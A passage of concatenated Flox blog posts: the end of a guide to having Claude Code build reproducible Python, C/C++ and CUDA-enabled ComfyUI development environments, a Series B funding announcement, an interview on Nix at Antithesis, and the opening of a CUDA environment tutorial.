"JupyterLab running. Use 'jupyter_token' for auth URL" fi ''' [services] [services.jupyterlab] command = "jupyter lab --no-browser --ip=0.0.0.0 --port=8888" vars.JUPYTER_DATA_DIR = "$FLOX_ENV_CACHE/jupyter" vars.JUPYTER_CONFIG_DIR = "$FLOX_ENV_CACHE/jupyter/config" vars.JUPYTER_RUNTIME_DIR = "$FLOX_ENV_CACHE/jupyter/runtime" is-daemon = false shutdown.command = "jupyter lab stop 8888" ``` Now run **`flox activate -s`** to use your Python 3.12 agentic development environment—with a built-in JupyterLab service: ``` $ flox activate -s ✅ You are now using the environment 'flox-for-python'. To stop using this environment, type 'exit' JupyterLab service is running at http://localhost:8888 Run 'jupyter_token' to get the authentication URL ``` You can customize this as much as you like. If you tend to work with [a specific relational database](https://flox.dev/popular-packages/creating-a-reproducible-bi-and-analytics-stack-that-just-works-anywhere-with-flox/), for example, you can add Python bindings for that platform, as well as required C/C++ dependencies via **`gcc-unwrapped`** and other packages. If you depend on dbt, you (or the agent) can add current or historical versions of the **`dbt`** or **python312packages.dbt-core`** packages. If you need to build with a different version of Python, you—or the agent—can modify your Flox manifest. In this case, the agent (Claude Code) isn’t clever enough to recognize that this can be accomplished by copying the manifest and running a scripted search-and-replace, but it nevertheless gets the job done. ### C or C++ This example prompts Claude Code to set up a Flox environment for C and C++ development. It tells the agent to create a new subfolder (**`flox-for-cpp`**), switch into it, and initialize the Flox agent development environment. From there, the agent is to build out a functional toolchain for C/C++ work: platform-specific compilers (**`gcc`** on Linux, **`clang`** on macOS), build systems (**`cmake`**, **`ninja`**, **`make`**), debuggers (**`gdb`**, **`lldb`**), and other essentials (**`valgrind`**, **`clang-tools`**). All dependencies come from the Flox Catalog; in this case we’ll also tell the agent to pin dependencies to enable reproducibility across platforms/over time. With the default **`FLOX.md`**, the agent typically completes initial setup in less than two minutes. You can also tell the agent to pin the packages in your agentic development environment to specific versions. This way, it's always reproducible across space (locally, in CI, in production) and time (today, tomorrow, five years from now). Changing into the **`flox-for-cpp`** directory and running **`flox edit`** shows the following: ``` [install] ## Core Compilers - Platform-specific defaults gcc13.pkg-path = "gcc13" gcc13.version = "13.4.0" gcc13.pkg-group = "compilers" gcc13.systems = ["x86_64-linux", "aarch64-linux"] clang_18.pkg-path = "clang_18" clang_18.pkg-group = "compilers" clang_18.systems = ["x86_64-darwin", "aarch64-darwin"] ## Essential for C++ stdlib headers/libs gcc-unwrapped.pkg-path = "gcc-unwrapped" gcc-unwrapped.version = "14.3.0" gcc-unwrapped.priority = 6 gcc-unwrapped.pkg-group = "libraries" ## Build Systems cmake.pkg-path = "cmake" cmake.version = "3.31.7" cmake.pkg-group = "build" ninja.pkg-path = "ninja" ninja.version = "1.12.1" ninja.pkg-group = "build" gnumake.pkg-path = "gnumake" gnumake.version = "4.4.1" gnumake.pkg-group = "build" ... ``` This is an abridged list. The complete manifest runs to almost 200 lines. You can [view it here](https://hub.flox.dev/barstoolbluz/flox-for-cpp/manifest) if you’re curious. Claude Code again populated the agentic development environment with standard amenities (like a **`./build`** directory) without being prompted. It also created aliases in the **`[profile]`** section of the manifest. ``` [hook] on-activate = ''' # Create build directory if it doesn't exist if [ ! -d "$FLOX_ENV_PROJECT/build" ]; then mkdir -p "$FLOX_ENV_PROJECT/build" fi # Set up ccache if available if command -v ccache &> /dev/null; then export CC="ccache gcc" export CXX="ccache g++" fi echo "C/C++ Development Environment Activated" echo "Compilers: gcc13 (Linux) / clang_18 (Darwin)" echo "Build Systems: cmake, ninja, make" echo "Debuggers: gdb (Linux) / lldb (Darwin)" echo "Build directory: $FLOX_ENV_PROJECT/build" ''' [profile] common = ''' # Convenience aliases for C/C++ development alias cmakebuild='cmake -B build -S . -G Ninja' alias cmakeclean='rm -rf build && mkdir build' alias makedbg='make -j$(nproc) DEBUG=1' alias valmem='valgrind --leak-check=full --show-leak-kinds=all' ''' ``` If inclined, you could ask the agent to create extra ease-of-use aliases and functions for you. The **`[profile]`** section of the Flox manifest is a great place to put this logic. ### Reuse Your Environments Anytime + Anywhere Once you have configured your environment to your liking, you can push it to FloxHub: ``` $ flox push ✅ Updates to flox-for-cpp successfully pushed to FloxHub View the environment at: https://hub.flox.dev/barstoolbluz/flox-for-cpp Use this environment from another machine: 'flox activate -r barstoolbluz/flox-for-cpp' $ cd ../flox-for-python313 && flox push ✅ Updates to flox-for-python313 successfully pushed to FloxHub View the environment at: https://hub.flox.dev/barstoolbluz/flox-for-python313 Use this environment from another machine: 'flox activate -r barstoolbluz/flox-for-python313' ``` The **`flox activate -r`** command is useful for ad hoc use cases—like if you’ve just **`git clone`**-ed a project repo and need temporary access to a set of tools (such as a specific version of Python, a pre-baked Python data engineering environment, or a turn-key C/C++ agentic development environment). Change into your Git repo’s directory, run **`flox activate -r /`**, and you’re ready to work. If you’re vibe coding with your team, participating in a hackathon, reviewing or testing someone else’s PR / branch, or just having fun, FloxHub and remotely activated Flox environments are pluperfectly convenient. ## Working with complex project requirements Ever wanted to build software from source … only to throw in the towel (with a shiver of repugnance) after scrolling through screen after screen of the project’s `README.md`? This is the kind of situation for which the combination of Flox and your preferred AI-coding assistant are tailor-made. The following example uses [ComfyUI](https://github.com/comfyanonymous/ComfyUI), the open-source, node-based UI for designing Stable Diffusion workflows. To be clear: ComfyUI’s `README.md` is _not_ an example of the interminable type; however, getting ComfyUI up and running locally—especially with GPU-acceleration (if available)—can be challenging. It’s extremely useful software that people want to download and play with, but which is hard to get working on all systems, particularly CUDA-accelerated Linux systems. First, **`git clone`** the `ComfyUI` repo and change into it. Then copy in the **`FLOX.md`** referenced in this article, or create your own. Then tell the agent you want it to create a Flox environment for ComfyUI. This can take anywhere from four to eight minutes. In most cases, the agent won’t get everything exactly right the first time, but always figures it out. It also knows to take advantage of Flox features, like [package groups](https://flox.dev/blog/conflict-resolution-made-easy-with-package-groups-in-flox/), to work around dependency conflicts: ``` ● We have a conflict between blas and openblas. Let's fix this by using package groups: … ● We have a conflict between gcc packages. Let me fix this by adjusting the priorities: ``` Thanks to the **`FLOX.md`**, the agent knows how to create Flox package groups and adjust the [priority levels](https://flox.dev/docs/reference/command-reference/manifest.toml/#catalog-descriptors) of specific packages. This makes it possible to install dependencies that would otherwise conflict—for example, both **`gcc`** (the Nix-wrapped compiler package, which adds environment hooks) and **`gcc-unwrapped`** (the raw GCC build that provides the actual binaries and **`libstdc++`**)—side by side, in the same agentic development environment. We can do better than this. The ComfyUI environment created by the agent works, but doesn’t include Flox’s prebuilt, pre-patched CUDA packages: CUDA-accelerated PyTorch, NumPy, and SciPy, among others. So let’s instruct the agent to create a cross-platform, GPU-enabled ComfyUI environment. That way, on CUDA-enabled systems, ComfyUI will use the **`flox-cuda`** packages; on Apple Silicon and x86-64 macOS systems, it will use regular PyTorch with flags that tell it which compute backend and precision mode to use: Metal/MPS, if on Apple Silicon; CPU if on x86. The result is a ComfyUI environment that always takes advantage of GPU acceleration, if available, and falls back to CPU if not. The good news is that all the information the agent needs to do this is contained in `FLOX.md`. Once finished, run **`flox edit`** to view the manifest authored by the agent. It might look something like this: ``` [install] # cuda-accelerated pytorch for x86_64-linux cudatoolkit.pkg-path = "flox-cuda/cudaPackages_12_9.cudatoolkit" cudatoolkit.systems = ["x86_64-linux"] torch-cuda.pkg-path = "flox-cuda/python3Packages.torch" torch-cuda.systems = ["x86_64-linux"] torchvision-cuda.pkg-path = "flox-cuda/python3Packages.torchvision" torchvision-cuda.systems = ["x86_64-linux"] numpy-cuda.pkg-path = "flox-cuda/python3Packages.numpy" numpy-cuda.systems = ["x86_64-linux"] scipy-cuda.pkg-path = "flox-cuda/python3Packages.scipy" scipy-cuda.systems = ["x86_64-linux"] # non-cuda pytorch for all other platforms torch.pkg-path = "python312Packages.pytorch" torch.systems = ["aarch64-linux", "x86_64-darwin", "aarch64-darwin"] torchvision.pkg-path = "python312Packages.torchvision" torchvision.systems = ["aarch64-linux", "x86_64-darwin", "aarch64-darwin"] numpy.pkg-path = "python312Packages.numpy" numpy.systems = ["aarch64-linux", "x86_64-darwin", "aarch64-darwin"] scipy.pkg-path = "python312Packages.scipy" scipy.systems = ["aarch64-linux", "x86_64-darwin", "aarch64-darwin"] # python deps python312Full.pkg-path = "python3Full" tqdm.pkg-path = "python312Packages.tqdm" pillow.pkg-path = "python312Packages.pillow" pyyaml.pkg-path = "python312Packages.pyyaml" aiohttp.pkg-path = "python312Packages.aiohttp" yarl.pkg-path = "python312Packages.yarl" psutil.pkg-path = "python312Packages.psutil" safetensors.pkg-path = "python312Packages.safetensors" einops.pkg-path = "python312Packages.einops" transformers.pkg-path = "python312Packages.transformers" tokenizers.pkg-path = "python312Packages.tokenizers" sentencepiece.pkg-path = "python312Packages.sentencepiece" pydantic.pkg-path = "python312Packages.pydantic" pydantic-settings.pkg-path = "python312Packages.pydantic-settings" alembic.pkg-path = "python312Packages.alembic" sqlalchemy.pkg-path = "python312Packages.sqlalchemy" soundfile.pkg-path = "python312Packages.soundfile" av.pkg-path = "python312Packages.av" pytest.pkg-path = "python312Packages.pytest" websocket-client.pkg-path = "python312Packages.websocket-client" opencv-python.pkg-path = "python312Packages.opencv4" # python + other deps uv.pkg-path = "uv" gcc.pkg-path = "gcc" gcc-unwrapped = { pkg-path = "gcc-unwrapped", priority = 3, pkg-group = "libraries" } curl.pkg-path = "curl" git.pkg-path = "git" [vars] COMFYUI_HOST = "0.0.0.0" COMFYUI_PORT = "8188" [hook] on-activate = ''' venv="$FLOX_ENV_CACHE/venv" [ ! -d "$venv" ] && uv venv "$venv" --python python3 [ -f "$venv/bin/activate" ] && source "$venv/bin/activate" if [ ! -f "$FLOX_ENV_CACHE/.comfyui_deps_installed" ]; then echo "Installing ComfyUI packages..." uv pip install --python "$venv/bin/python" comfyui-frontend-package comfyui-workflow-templates comfyui-embedded-docs || { echo "Error: Failed to install ComfyUI packages"; return 1; } uv pip install --python "$venv/bin/python" kornia spandrel torchsde trampoline --quiet || true touch "$FLOX_ENV_CACHE/.comfyui_deps_installed" fi mkdir -p models/checkpoints "$FLOX_ENV_CACHE/logs" if [ ! -f "models/checkpoints/v1-5-pruned-emaonly.safetensors" ]; then echo "📥 Downloading SD 1.5 model (4.3 GB)..." curl -L "https://huggingface.co/stable-diffusion-v1-5/stable-diffusion-v1-5/resolve/main/v1-5-pruned-emaonly.safetensors" -o "models/checkpoints/v1-5-pruned-emaonly.safetensors" --progress-bar echo "✅ Model downloaded!" fi cd models/checkpoints 2>/dev/null && { ln -sf v1-5-pruned-emaonly.safetensors default.safetensors 2>/dev/null; ln -sf v1-5-pruned-emaonly.safetensors sd_v1-5.safetensors 2>/dev/null; cd - > /dev/null; } ''' [services.comfyui] command = ''' cd "$FLOX_ENV_PROJECT" venv="$FLOX_ENV_CACHE/venv" [ ! -d "$venv" ] && uv venv "$venv" --python python3 source "$venv/bin/activate" for pkg in comfyui-frontend-package comfyui-workflow-templates comfyui-embedded-docs; do python -m pip show $pkg &>/dev/null || uv pip install --python "$venv/bin/python" $pkg || exit 1 done python -c "import kornia" 2>/dev/null || uv pip install --python "$venv/bin/python" kornia spandrel torchsde trampoline --quiet FLAGS="--listen $COMFYUI_HOST --port $COMFYUI_PORT" [[ "$(uname)" == "Darwin" ]] && FLAGS="$FLAGS --cpu" || { command -v nvidia-smi &>/dev/null && FLAGS="$FLAGS --lowvram" || FLAGS="$FLAGS --cpu"; } exec python main.py $FLAGS 2>&1 | tee -a "$FLOX_ENV_CACHE/logs/comfyui.log" ''' ``` The most important test of all—**`flox activate`**-ing and running it—shows that it works. Once satisfied with the ComfyUI agentic development environment, you can **`flox push`** it to FloxHub. That way you or anyone you share it with can **`flox pull --copy`** it to run it locally. You could also use Flox to build and package your ComfyUI environment, then publish it to your private FloxHub catalog of packages. That way you could install it _anywhere_, at any time, just by running **`flox install `**. ## Good vibrations: Floxifying your agentic stack Vibe coding or prototyping in Flox eliminates the blockers, dampeners, and drag forces that slow you down: - Conflicting dependencies break dev setups or OS installs; - Runtime environments don’t build or run reproducibly when shared; - Agents not only fail at setup or building, they wreck your environment, too. Flox gives you all the advantages of using Nix and drops into your existing workflows, giving you a reliable foundation for whatever you (or your AI-coding partner-nemesis) want to build. Whether you’re hacking together a quick prototype, collaborating with your team, or titivating something for production, a Flox-based agentic development environment makes sure that conflicts or missing runtime dependencies _never_ get in the way. Want to learn more? [Download Flox](https://flox.dev/docs/install-flox/install/) and take it for a spin! ## FAQs about agentic development with Flox ### What is agentic development and how does it differ from traditional coding? Agentic development is a software engineering approach where autonomous AI agents plan, execute, debug, and iterate on complex coding tasks with minimal human intervention. Unlike traditional workflows where AI merely suggests code snippets, agentic systems act as proactive collaborators that can manage files, run terminal commands, and interact with version control systems to achieve high-level goals. This shift allows developers to focus on architectural strategy and supervision while the agents handle implementation details and routine problem-solving. ### How does Flox improve the reliability of AI development agents? Flox enhances agentic workflows by providing a cross-platform package manager that creates isolated, reproducible environments, ensuring agents always have access to the correct dependencies without conflicting with system settings. By using declarative manifests and imperative commands, agents can reliably install and manage software stacks, eliminating the common errors caused by version mismatches or missing tools. This stability prevents agents from wasting computational resources on debugging environment issues, allowing them to move from setup to working prototypes much faster. ### How do agents interact with the FLOX.md file? A `FLOX.md` file serves as a context document that provides AI agents with the specific knowledge and instructions needed to bootstrap and maintain a development environment. It outlines the necessary tools, preferred configurations, and context-aware commands, enabling agents to autonomously build functional toolchains for languages like Python or C++. By referencing this file, agents can intelligently handle complex tasks such as conflict resolution and service management without requiring constant manual guidance from the developer. ### Can agentic environments handle complex hardware requirements like GPUs? Yes, agentic environments managed by Flox can handle complex requirements, including GPU acceleration, by utilizing package groups and platform-specific dependency rules. Agents can be instructed to install different versions of libraries based on the underlying hardware, such as selecting CUDA-enabled packages for Linux or Metal-optimized versions for macOS. This capability ensures that resource-intensive applications, such as machine learning workflows or node-based UIs, perform optimally across different operating systems. Title: About our Series B Source: https://flox.dev/blog/about-our-series-b/ Date: 2025-09-25 Category: guide # About our Series B We just announced a $25 million Series B funding round led by Addition, with participation from NEA, the D. E. Shaw group, Hetz, and Illuminate Financial. Read about it here. Today, I’m proud to announce that Flox has raised our Series B funding round, led by Addition, with participation from NEA, the D. E. Shaw group, Hetz Ventures, and Illuminate Financial. This big step is one of many, and continues to validate the mission we set out upon: to make software development and management more **predictable**, **reproducible**, and **manageable** at scale. Our work on Flox will drive a foundational shift in how teams everywhere build and ship software. This new chapter gives us the fuel to accelerate the vision we’ve set in motion, but it’s also a moment to reflect on how far we’ve come. If you’ll indulge me, I’d like to share how we got here. ## Vision Quest Almost five years ago, following an accidental dive into [Nix](https://nixos.org/) and an opportune conversation with my co-founder, Michael Brantley, I realized what we could—and should—be doing. In Nix, I saw software environments that travel as-is from local development through CI to production. Ones that behave the same across dissimilar operating systems (like Linux and macOS), dissimilar CPU architectures (x86 and ARM), and even dissimilar infrastructure (on-premises, cloud, and hybrid deployments). Figure: Ron and Michael In short, **I saw software development made reproducible at scale**. Something that tore away at the layers of fixes, and focused on reimagining the core of software to better fit the complexity we see today, and operate in the paradigms that exist after a few generations. This was the future I envisioned for what became Flox. The recognition of what Nix was and what it _could be_ affected me about as profoundly as any event in my life. So much that I became possessed: I parted ways with my team at Meta and partnered with Michael. You see, Michael was a few giant steps ahead on this path. He had already built Flox v0.1, a Nix-based toolchain that was easy to use and well-adapted to the enterprise needs of the D. E. Shaw group. We worked together to spin Flox out of the D. E. Shaw group, so we could bring this power to teams everywhere. At this point, I also made another decision: a healthy, sustainable Nix community is key. So I began contributing towards one in any ways I could. ## What Flox Is Today After a few years of deep research we released our first piece of the vision: a CLI tool backed by a massive catalog of packages and a cloud service—FloxHub—for sharing of Flox environments, making them portable, inspectable, and easy to reuse. Today our Flox Catalog includes more than 180,000 packages and millions of historical versions. It lets me, you, and hundreds of teams author declarative, reproducible environments that define dependencies, setup and teardown logic, and even [services](https://flox.dev/blog/flox-1.3-simplified-service-management-with-flox)—spinning up complete stacks with PostgreSQL, Redis, Spark, Kafka, and even Kubernetes (via KIND). While there’s much more to build, these last few weeks marked another turning point: becoming one of the open source vendors [licensed to redistribute NVIDIA’s CUDA](https://flox.dev/blog/get-nvidia-cuda-stacks-that-travel-across-your-sdlc-with-flox/) binaries and libraries. The Flox Catalog now also includes the CUDA Toolkit, all CUDA libraries, and CUDA-accelerated builds of PyTorch, TensorFlow, TensorRT, OpenCV, and more than 1,000 other CUDA packages. Our goal has never been just to distribute software, but to transform the way it’s built. That’s why we recently unlocked the ability to [build, package, and publish software](https://flox.dev/blog/introducing-flox-build-and-publish/) with Flox—supporting sandbox isolation, declarative recipes, deterministic artifacts, and reproducible builds and runtimes. And this is just the tip of the iceberg. If our experience so far has taught us anything, it’s how much faster, easier, and more secure we know building, shipping, and using software can be. ## Why Now Is the Time Early this year, we hit an inflection point, over 300 organizations using Flox. We launched our first product—[Flox for Teams](https://flox.dev/pricing/), which gives organizations a single, consistent way to build, package, publish, and manage all the software they use. This marked a shift from Flox as a developer tool to Flox as a collaborative platform: a way to scale environment management from individual workflows to entire organizations. Today, Flox is a productivity unlock for fast-moving teams—like the dev team at [PostHog](https://posthog.com), which leveraged Flox to transform its developer onboarding process into a single command. “Before, our local dev guide comprised 16 steps with 14 caveats. Now, it's just a universal **`flox activate,`**” Michael Matloka, senior product engineer of PostHog, told me. “Flox keeps the whole team on the same page, no matter how complex our stack gets.” Flox is the reproducibility backbone for mission-critical software workflows across dozens of organizations—including the [D.E. Shaw group](https://www.deshaw.com/), which relies on Flox to power its global trading and research infrastructure. “What started as an internal solution has become a foundation others are building on, turning consistency and portability into defaults rather than aspirations,” says David Shainok, managing director at the D. E. Shaw group. These and similar responses confirmed what we always believed: this is real, this is working, and it’s going to change everything. Since then, the momentum has been undeniable. Every time Flox lands inside a team, the reaction is the same: relief. Developers are dealing with complexity on an unprecedented scale: multi-language stacks, conflicting dependencies, AI workloads, GPU optimization, security requirements. Our users tell us that Flox is a breath of fresh air. We’ve seen this reflected in our champions: zealously passionate advocates who recognize the potential of Flox. And we’ve seen it echoed by industry leaders—including companies like NVIDIA—who are now embracing the very principles we set out to prove years ago. “There are tools similar to what Flox provides, but nothing gets close to [the] true reproducibility, cross-platform [reach], and configurability [of] Flox,” Justin Frye, senior database engineer with RxBenefits, shared with us. “Using simple CLI commands to install packages (and libraries), activate, and publish environments: Flox is a game changer.” This user feedback is what keeps us going. ## The Future Is Flox This is only the beginning. With this new funding, we’ll be accelerating work across three critical areas: - **Continue to advance the core Flox platform.** Expand what’s possible for developers and operators alike, and explore the frontier of build optimization and environment reproducibility, especially for [AI and GPU-intensive](https://flox.dev/blog/get-nvidia-cuda-stacks-that-travel-across-your-sdlc-with-flox/) workloads. - **Make compliance effortless** Use the deterministic nature of Nix to deliver what we are being asked for: a new, more proactive, more deliberate approach to managing fragmented, fast-moving software supply chains. - **Chart a path towards truly secure application infrastructure.** Provide real-time vulnerability detection with comprehensive SBOMs and SLSA compliance. Push “security by construction” as an industry practice, so security isn’t something that is bolted on after the fact. Deliver a new kind of visibility into both human and AI-generated code. It’s not easy to change how the world builds and consumes software. But our mission has never been to make incremental improvements. We set out to build a platform that becomes a foundation—something generational, something that outlives us. ## Flox Is Better and Stronger with Nix One final thought. At Flox, we believe the future of software should be open, reproducible, and sustainable. Supporting the Nix community is part of our mission. As we look ahead, we’ll keep investing in the ecosystem that made all of this possible, so that Nix continues to thrive—not just for us, but for everyone. What we build draws heavily upon the power (and magic) of Nix. That’s why supporting Nix isn’t a side project for us—it’s inseparable from our mission. Flox succeeds only if Nix succeeds, and we’re committed to making sure both do. The privilege of operating in such a way is not something I take for granted. We stand on the shoulders of many giants who make this possible. Each individual across the Flox family agreed to jump in and spend time with us along the journey. The most obvious one for me is the person who said “yes, go for it” five years ago, and who has lived through more than just sleepless nights: my lifetime partner, Eden. Figure: Ron and Michael Thanks for supporting us so far. Hope you love Flox as much as we do. Title: Nix in the Wild: Enterprise Nix at Antithesis Source: https://flox.dev/nixinthewild/nix-in-the-wild-antithesis/ Date: 2025-09-24 Category: interview # Nix in the Wild: Enterprise Nix at Antithesis For a company the size of Antithesis, custom NixOS modules provide a brilliant solution for managing software change while maintaining traceability, reducing risk, and enforcing compliance. Antithesis CTO Dave Scherer didn’t intend to become a Nix guru, and he _definitely_ didn’t anticipate that Nix would one day power his company’s software build pipelines. Scherer just got tired of installing and configuring DOS emulation environments on his computers … only for OS updates to break them. Basically, Scherer learned Nix so he could play [old-school games](https://flox.dev/popular-packages/turbocharge-your-productivity-with-crispy-doom-and-flox/). He certainly didn’t plan to use Nix to reproducibly build and deploy a deterministic simulation-testing platform that gives developers what feel like superpowers. Scherer just wanted to play _Doom_! ## The need for Enterprise Nix Antithesis’s flagship software-testing platform runs software in a deterministic hypervisor. It eliminates variability stemming from different kinds of external factors, ensuring bugs can be replicated reliably. In distributed teams, timing, networking, and hardware quirks introduce non-determinism that makes bugs hard to reproduce. Deterministic builds eliminate those sources of variability so issues are easier to track down. At first, the company relied on dev containers to support local team development and standardize its software build and deployment workflows. Containers gave Antithesis reproducibility, but at the cost of convenience, speed, and friction-free workflows. Developers would mount their project’s source code (usually saved in a repo on their local systems) in a dev container at runtime. They’d then execute their build commands from within the dev container. But developers’ workflows slammed into a wall whenever they needed a tool, library, secret, or resource not available in the container. This pattern didn’t scale well beyond local development, either, because it involved multiple developers _and CI/CD pipelines_ simultaneously pulling images from Docker Hub. Plus, all of those image pulls led to rate-limiting. The pattern was far from ideal, says [John Murray](https://www.linkedin.com/in/john-murray-026305127/), head of developer experience and internal testing with Antithesis. “This ‘worked,’ but it was just not a great workflow. It was very janky. Plus, we had one million and one different containers, because as you're developing, you're changing things all the time,” Murray explains. “Basically, everyone wanted us to find something better. At least we knew just where to look!” ## Determining to use Nix Some orgs come to Nix after a stretch of wandering in the desert, searching for some solution, _any_ solution, to intractable build problems. Some identify Nix early on, reluctantly conclude that it’s too complex, but come back to it after experimenting with other tools. Turns out Nix isn’t nearly as complex as these alternatives. Antithesis was lucky. It already had a Nix champion in its own CTO. Scherer’s experience convinced him Antithesis could use Nix throughout its SDLC—not just for building software, but for running its testing platform. “Basically how our Antithesis testing platform works is we have a deterministic hypervisor that's FreeBSD-based and we run NixOS [in a VM] on top of that,” Murray explains. “All of our infrastructure and builds for about two or three years now have been Nix.” But _why_ Nix? Is there something different, something distinctive about Nix itself? The **tl;dr** explanation is that Nix lets Antithesis achieve immutability, reproducibility, atomicity, and **determinism** throughout its SDLC and _in the software environments that run on its testing platform_. Determinism is the key. Antithesis’ platform expects to test software in reproducible runtime environments where all dependencies, variables, and other settings can be strictly controlled. These runtimes execute in the “Determinator,” a hypervisor that provides a deterministic hardware and network environment by simulating a standard implementation of the x86-64 instruction set, floating-point unit, and [complex instructions](https://en.wikipedia.org/wiki/Instruction_set_architecture#Complex_instructions), along with factors like network latency, packet loss, and bandwidth constraints. By replaying a sequence of events that always produces the same outcome, Antithesis can reproduce even elusive bugs. This lets Antithesis simulate _and replicate_ the behavior of a distributed system under controlled conditions. This is where Nix comes into the mix. For its deterministic testing environment to work as intended, Antithesis needs a way to eliminate variability in _the build process_ as a source of nondeterminism. “We use Nix because we want to make sure our builds are reproducible. That way we get the same exact software when we run it in the hypervisor,” Murray explains. “It’s one thing to remember what code and variables you give a system, it’s another to make sure you run _exactly the same software­_ in the system.” ## Demystifying Nix This might sound like magic, but it’s grounded in the principles of [functional programming](https://en.wikipedia.org/wiki/Pure_function), where output is _always_ a function of explicitly defined inputs. The genius of Nix lies in applying these principles to package management and build systems, treating builds as isolated, reproducible processes. It’s worth briefly unpacking how this works. The basic building block of Nix is the [derivation](https://nix.dev/tutorials/nix-language.html#derivations), a declarative definition that explicitly specifies all the inputs and build instructions required to reproduce a software artifact. In other words, the Nix derivation serves as both a high-level abstraction and a fully deterministic build plan, complete with source code, dependencies, environment variables, and build scripts. When you run `nix build` against this plan, the derivation is always deterministic: identical inputs yield identical builds. Dependencies are declared and tracked explicitly, not left to luck. “Always” is not a throwaway word, either, because a Nix derivation guarantees reproducibility _over time_. By strictly defining which versions of software are used in a runtime environment, Nix gives Antithesis a way to reproduce that environment exactly at any point in the future. “We can store the environment runtimes we build in Nix’s [binary cache](https://nixos.wiki/wiki/Binary_Cache), which is convenient,” Murrays says. ## Taking back local dev At this point Antithesis has been building and running on Nix for about three years. As Murray indicated, it now uses Nix throughout its SLDC, from local development to CI and QA testing, staging, and production. For the most part, he says, everything just worked out. The smoothness of the switchover stems in no small part from the fact that Scherer, Murray, and other Antithesis-ians deeply grok Nix. It also helps that Nix itself isn’t unpredictable or fussy: once you get a build working, it _stays_ working. Murray uses the example of a Rust build environment Antithesis had previously implemented as a dev container. Aside from the frustrations involved in using a container-based pattern for local development, Antithesis’ developers also struggled with error-prone Rust `cargo` builds inside their dev containers. With Nix, he says, “you can create a reproducible Rust build in just 10 lines of Nix code. Your `cargo` builds don’t just work ‘half’ the time, or ‘most’ of the time. They work _all_ of the time. One-hundred percent.” Antithesis developed a custom CLI tool, Command Sets, to make it easier to run bash scripts without requiring an [interactive Nix shell](https://nix.dev/manual/nix/2.22/command-ref/nix-shell). Command Sets evaluates Nix expressions that define [attribute sets](https://nix.dev/manual/nix/2.18/language/values.html?highlight=attribute%20set), so that when a bash script runs, Command Sets resolves and pulls required dependencies on the fly. This lets developers easily create and run dependency-aware tasks that run the same way anywhere, on any platform. ## Transforming deployment Antithesis uses Nix throughout its deployment process, too. Previously, the NixOS AMIs running in its hypervisor pulled code from repositories and built binaries locally using `nix build`. While this ensured reproducible builds _for individual services_, it didn’t address configuration conflicts or ensure compatibility _between services_— for example, when Antithesis’ hypervisor and [fuzzer service](https://en.wikipedia.org/wiki/Fuzzing) had been built from different branches in the same repo. Now, Antithesis defines each deployment in a single JSON file, specifying all required services and binaries alongside their Nix store paths. And instead of building artifacts locally, its NixOS AMIs fetch pre-built binaries directly from Antithesis’ binary cache, via `nix-store –realize`. This not only guarantees that each AMI runs exactly the same version of the specified binaries, it also lets Antithesis build and maintain lightweight AMIs, as required dependencies are fetched at runtime using the JSON deployment file. “Instead of building stuff locally on the machine, which takes forever and eats up resources, we just pull pre-built binaries at runtime, straight from the binary cache. It’s so much faster, and we don’t have to bake everything into the AMI anymore,” Murray explains. “Plus, our AMIs are super minimal—basically just enough to bootstrap—so it’s much cleaner, and everything works the same every time.” ## Go big or go small If there’s one thing Nix is known for, it’s for its steep learning curve. There _is_ some truth to this, Murray agrees. After all, Nix comes out of functional programming, so people who aren’t comfortable with that paradigm may struggle to adapt to Nix’s concepts, methods, and language. “It's a hard paradigm to wrap your head around, and [Nix] error messages aren’t an enormous amount of help,” he concedes. “So it did seem like anytime someone had an issue, what happened was they would reach out to me, and I basically would have to pair with them to solve the issue.” But if you’re struggling with issues like reproducibility and immutability in your SDLC—or if you require determinism in your build artifacts—Nix is a “beautiful” solution, Murray asserts. “You get a lot of things for free even if you don’t fully buy in. You can just use Nix for your reproducible developer environments. And that’s a great 75% solution,” he says. “Plus, once you’ve built [a package], you can cache it in the binary cache, so everyone can reuse it without rebuilding everything from scratch.” And for a company the size of Antithesis, with fewer than 100 employees, [custom NixOS modules](https://nixos.wiki/wiki/NixOS_modules) provide a brilliant solution for managing software change while maintaining traceability, reducing risk, and enforcing compliance. “Our ‘IT department’ is me and two other people who know NixOS. But what's really cool is that whenever we have security patches or need to enforce a configuration change—you know, if we need to make sure everyone's automatically screen locks for SOC2 Compliance (which Antithesis just achieved)—we can do that using NixOS, with our custom NixOS module,” he observes. Title: Reproducible NVIDIA CUDA Environments Across Your SDLC Source: https://flox.dev/blog/get-nvidia-cuda-stacks-that-travel-across-your-sdlc-with-flox/ Date: 2025-09-16 Category: guide # Reproducible NVIDIA CUDA Environments Across Your SDLC Get portable, reproducible CUDA environments and stacks with Flox. CUDA stacks you build locally travel as-is across your SDLC. Pull or clone them into runners in CI, then deploy them as containers, VMs, or lambdas to prod. You can now [use Flox to get the NVIDIA CUDA Toolkit](https://hub.flox.dev/flox/cuda-samples) plus all your CUDA runtime dependencies. You can even install separate, conflicting versions of CUDA dependencies side-by-side on the same system, at the same time—including historical versions of conflicting dependencies. Need the latest CUDA Toolkit for cutting-edge PyTorch—along with CUDA Toolkit 12.4 for working with TensorFlow? Just **`flox install`** them both … at the same time. ## What is the NVIDIA CUDA Toolkit? [NVIDIA CUDA is a development toolkit](https://flox.dev/docs/tutorials/cuda/) that allows software systems to access GPU cycles to enhance their processing capabilities. This toolkit is at the heart of AI systems that require the power of GPUs to run effectively. However, the low-level nature of CUDA development presents significant challenges in hardware and software compatibility. [That’s where Flox can help](https://flox.dev/cuda). Flox makes it surprisingly straightforward to manage the complex matrix of compatible NVIDIA CUDA, Python, native libraries, and other ML/AI dependencies. This article will show how you can use Flox to build portable, reproducible CUDA environments and CUDA-accelerated ML/AI stacks. ## Getting Started with CUDA and Flox First, [sign up for Flox](https://hub.flox.dev) to search for and discover **`flox-cuda`** packages. If you've already signed up, but your [FloxHub](https://hub.flox.dev) token has expired, just run the following command: ``` $ flox auth login Go to https://auth.flox.dev/activate?user_code=GBFZ-WQVM in your browser Your one-time activation code is: GBFZ-WQVM ✅ Authentication complete ✅ Logged in as barstoolbluz ``` Now when you search for CUDA packages, Flox’s pre-built CUDA packages will appear in your results. ## 1. Building a Reproducible CUDA Environment with Flox **Part 1** of this guide walks you through how to build a basic Flox-CUDA development environment. All of Flox’s prebuilt CUDA-accelerated packages are prefixed with **`flox-cuda`**. To install the NVIDIA CUDA Toolkit, for example, search for **`cudatoolkit`** and look for the **`flox-cuda`** prefix. - To refine your search, use the **`--all`** switch; e.g., **`flox search cudatoolkit --all`**; combine this with **`grep`** to filter search results. - To search for _specific versions_ of a package, use the **`flox show`** command; 